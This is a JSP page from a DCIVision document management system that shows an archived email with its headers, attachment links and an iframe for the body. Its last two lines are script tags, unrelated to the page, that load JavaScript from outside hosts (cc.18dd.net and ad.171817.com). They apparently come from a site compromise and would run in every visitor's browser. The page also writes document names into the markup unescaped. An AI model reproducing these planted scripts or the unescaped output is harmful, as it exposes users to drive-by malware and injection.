<%
  /*
   * @(#)ViewDmsEmailDocument.jsp
   *
   * Copyright (c) 2003 DCIVision Ltd
   * All rights reserved.
   *
   * This software is the confidential and proprietary information of
   * DCIVision Ltd ("Confidential Information").  You shall not
   * disclose such Confidential Information and shall use it only in
   * accordance with the terms of the license agreement you entered into
   * with DCIVision Ltd.
   */
 
  /**

   ViewDmsEmailDocument.jsp

   This is a ViewDmsEmailDocument page.  It shows the email document message.

   @author             Jenny Li
   @company            DCIVision Ltd
   @creation date      05/08/2005
   @version            $Revision: 1.8.2.5 $
*/

%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/dms" prefix="dms" %> 
<%@ taglib uri="/tags/layout" prefix="layout" %> 

<%@ page import="com.dcivision.user.bean.*"%> 
<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*"%>
<%@ page import="javax.mail.internet.*"%>
<%@ page import="javax.mail.internet.MimeUtility.*"%>
<%@ page import="javax.mail.*"%>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>  
<%@ page import="com.dcivision.mail.core.*"%>
<%@ page import="com.dcivision.mail.bean.*"%> 
<%@ page import="com.dcivision.dms.DmsOperationConstant"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="java.util.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<jsp:useBean id="maintDmsEmailDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsEmailDocumentForm"/>
<%//joan.xiong add code for bug EIP-1346 by 2007/01/05
maintDmsEmailDocumentForm.setSendDate(TextUtility.getDateTimeFormat().format(maintDmsEmailDocumentForm.parseTimestamp(maintDmsEmailDocumentForm.getSendDate())));
 //joan.xion add code end%>

<%
final String sCurFunctionCode = (String) maintDmsEmailDocumentForm.getCurFunctionCode();
List attachmentList=(List)request.getAttribute("attachmentList");
%>
<div class="popupPanelTitle">
    <bean:message key="help.header.email.document.name"/>
</div>

<div class="popupWrapperContainer">
<html:form type="maintDmsEmailDocumentForm"  action="/dms/MaintDmsEmailDocument.do"> 
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="closeFlag" value="0"/>

<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.message_subject'/>:</td>
<td class="formFieldSmall"><bean:write name="maintDmsEmailDocumentForm" property='documentName'/></td>
</tr>
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.message_send_date'/>:</td>
<td class="formFieldSmall"><bean:write name='maintDmsEmailDocumentForm' property='sendDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
</tr>
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.message_from'/>:</td>
<td class="formFieldSmall"><bean:write name="maintDmsEmailDocumentForm" property='mailSendFrom'/></td>
</tr>
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.message_to'/>:</td>
<td class="formFieldSmall"><bean:write name="maintDmsEmailDocumentForm" property='mailTo'/></td>
</tr>
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.message_cc'/>:</td>
<td class="formFieldSmall"><bean:write name="maintDmsEmailDocumentForm" property='mailCCTo'/></td>
</tr>
<tr>
<td class="formLabelSmall"><html:img src="IconEmailAttachment.gif" />:</td>
<td class="formFieldSmall">
                <%if(!Utility.isEmpty(attachmentList)){
                  for(int i=0;i<attachmentList.size();i++){
                    DmsDocument dmsDocument=(DmsDocument)attachmentList.get(i);
                %>
                <a href='<%=request.getContextPath()%>/dms/FileDownloadServlet?isDownload=Y&targetID=<%=dmsDocument.getID()%>&version=TOP&documentType=<%=dmsDocument.getDocumentType()%>&charset=utf-8&systemLogID=null&ext=.'+ GetFileExtension("<%=dmsDocument.getDocumentName()%>")><%=dmsDocument.getDocumentName()%></a> ;
                <%
                  }
                }%>
</td>
</tr>
<tr>
<td class="formLabelSmall"><bean:message key='dms.label.email_archive.content_encoding'/>:</td>
<td class="formFieldSmall">
<select name = "charset" onchange = "replaceIframe(this.value)"> 
					   <option value = "UTF-8">UTF-8</option>
					   <option value = "BIG5">BIG5</option>
					   <option value = "GB2312">GB2312</option>
					   </select>
</td>
</tr>
<tr>
<td colspan="2">
      <script language="javascript">
        var divHeight = GetInnerHeight() - 300;
        var divWidth = GetInnerWidth() - 60;
        if (document.all) {
          document.write('<iframe id = "emailContent" src = "<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=maintDmsEmailDocumentForm.getID()%>&version=TOP&documentType=E&systemLogID=null&ext=.html&charset=utf-8" height= '+divHeight+'  width = '+divWidth+' ></iframe>');
        }
	  function replaceIframe(charset){   
		var emailContent = FindObj("emailContent");
		if(emailContent){
		  emailContent.src = "<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=maintDmsEmailDocumentForm.getID()%>&version=TOP&documentType=E&systemLogID=null&ext=.html&charset="+charset;
		}
	  }
     </script>
</td>
</tr>
</table>
</html:form> 
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>